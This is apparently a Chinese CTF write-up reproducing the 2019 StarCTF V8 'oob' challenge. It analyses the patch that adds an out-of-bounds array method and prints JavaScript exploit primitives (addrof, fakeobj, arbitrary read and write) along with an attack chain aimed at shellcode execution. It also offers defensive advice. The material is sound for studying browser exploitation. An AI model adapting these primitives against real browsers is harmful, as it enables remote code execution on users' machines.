2019 StarCTF oob复现

139 阅读3分钟

🛡️ 2019 StarCTF oob复现

🔍 一、题目背景

本题是经典的 V8 引擎漏洞利用题,通过新增一个非标准数组方法 Array.prototype.oob,实现对数组的越界读写操作,最终达到任意内存读写的目的,并可用于执行 shellcode。

题目地址:starctf2019/pwn-OOB at master · sixstars/starctf2019


📄 二、补丁分析(diff 文件)

✅ 新增函数注册(bootstrapper.cc

SimpleInstallFunction(isolate_, proto, "oob", Builtins::kArrayOob, 2, false);
  • 将名为 "oob" 的函数注册为 Array.prototype 上的方法;
  • 支持最多两个参数;
  • 使用内置函数 Builtins::kArrayOob 实现功能。

✅ 函数实现(builtins-array.cc

BUILTIN(ArrayOob) {
    // ...
    if(len == 1){
        // read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    }else{
        // write
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}
  • 当调用 arr.oob() 时:

    • 若无参数,则读取 arr[arr.length](越界读);
    • 若有参数,则写入 arr[arr.length] = value(越界写);
  • 可用于修改数组的元信息(如 map、backing store 等),进而构造任意内存访问能力。


✅ 类型系统支持(typer.cc

case Builtins::kArrayOob:
  return Type::Receiver();
  • 告知类型推断器该函数返回值为对象类型,防止编译期误判。

🧪 三、使用示例

var a = [1.1, 1.1];
%DebugPrint(a);
​
a.oob(2.2);   // 越界写
var b = a.oob();  // 越界读
%DebugPrint(b);
%SystemBreak();

🔥 四、漏洞利用思路

💡 目标:

构造 addrof(obj)(获取对象地址)和 fakeobj(addr)(伪造对象),从而实现:

  • 任意内存读 (arb_read)
  • 任意内存写 (arb_write)
  • 最终执行 shellcode 或提权

🧱 五、关键函数说明(JavaScript 层)

🧰 1. 获取对象地址:addrof(in_obj)

function addrof(in_obj) {
    obj_arr[0] = in_obj;
    obj_arr.oob(map2);
    let addr = obj_arr[0];
    obj_arr.oob(map1);
    return ftoi(addr);
}
  • 通过越界修改 map 指针,使浮点数组能读取对象地址。
  • 返回值为对象在内存中的地址(使用 ftoi 转换为整数)。

🧰 2. 构造假对象:fakeobj(addr)

function fakeobj(addr) {
    fl_arr[0] = itof(addr);
    fl_arr.oob(map1);
    let fake = fl_arr[0];
    fl_arr.oob(map2);
    return fake;
}
  • 修改浮点数组的 backing store 地址,构造一个指向指定地址的对象;
  • 可用于伪造 JS 对象结构,实现任意内存读写。

🧠 3. 任意内存读:arb_read(addr)

function arb_read(addr) {
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    return ftoi(fake[0]);
}
  • 构造假对象控制底层存储指针;
  • 通过伪造数组访问任意内存地址;
  • 返回读取到的 8 字节数据。

🧠 4. 任意内存写:arb_write(addr, val)

function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}
  • 构造可写任意地址的 ArrayBuffer
  • 使用 DataView 写入任意 64 位数值;
  • 可用于覆盖函数指针、执行 shellcode 等。

🎯 六、攻击链总结

步骤功能
1. 构造越界原语利用 oob 方法实现越界读/写
2. 构造 addrof获取对象内存地址
3. 构造 fakeobj根据地址伪造对象
4. 实现 arb_read / arb_write完成任意内存读写
5. 执行 shellcode替换函数指针或修改 WebAssembly 内存

📌 七、防御与安全启示

⚠️ 漏洞本质:

  • 数组越界访问破坏了 V8 的对象模型安全性;
  • 未限制用户访问内部元数据(map、backing store);
  • 可被用于浏览器沙箱逃逸、RCE(远程代码执行)等高危攻击。

🛡️ 安全建议:

  • 不应暴露越界访问接口;
  • 在 JIT 编译阶段加强边界检查;
  • 使用 CFI(Control Flow Integrity)防止函数指针篡改;
  • 对敏感 API 进行权限控制。